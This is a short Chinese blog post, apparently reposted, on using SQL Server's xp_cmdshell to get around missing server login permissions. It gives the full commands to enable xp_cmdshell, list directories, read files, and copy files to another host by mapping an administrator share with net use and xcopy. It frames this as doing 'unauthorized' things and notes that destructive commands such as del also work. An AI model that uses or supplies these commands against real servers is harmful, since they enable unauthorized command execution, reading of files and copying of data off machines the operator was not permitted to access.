使用数据库做“非授权”的事情
????? 有時候作為數據庫的管理人員,需要對數據庫服務器上進行一些本地操作,但是因為某種原因可能沒有操作數據庫服務器的登陸或者遠程操作的權限。當然正規公司不會這樣,但是一些很特殊的環境下,我們需要一些非常規的辦法。
????? 以下內容請大家甄別,勿作非法使用。
???? 1.開啟遠程操作權限
??????? 也就是開啟master..xp_cmdshell。方法很多,如果使用GUI,在服務器--方面--外圍應用配置器
??????? 或者使用代碼:
?????? EXEC sp_configure 'show advanced options', 1;
?????? RECONFIGURE;
?????? EXEC sp_configure 'xp_cmdshell', 1;
?????? RECONFIGURE;
???? 2.查看服務器上目錄信息
?????? exec master..xp_cmdshell 'dir c:\'
???? 3.顯示某個文件的內容
????? exec master..xp_cmdshell 'type c:\1.txt'
????? 注意這里要看文件的編碼方式,如果與服務器默認的編碼方式不一致,中文會顯示亂碼,如果亂碼就需要使用下面的方法,把文件下載回來打開
???? 4.下載文件?
???? exec master..xp_cmdshell 'net use //192.168.200.111/ipc$ "pwd" /user:"user\administrator"'
????? exec master..xp_cmdshell 'xcopy e:\mulu\*.* 192.168.200.111/d$/test/ /s'
???? net use和xcpy的dos用法,大家可以自行查找,這里的語法都適用。
??
?????? 看到這里大家是不是很爽啊,當然一些dos下危險的操作del什么的也都能操作了,這也就是為什么需要'xp_cmdshell'關閉了,這個命令是在是太危險,功能也太強大了。
轉載于:https://www.cnblogs.com/tippoint/archive/2012/09/07/2675153.html
總結
以上是生活随笔為你收集整理的使用数据库做“非授权”的事情的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: tensorflow之tf.train.
- 下一篇: BUAA-OO 第二单元作业“电梯调度”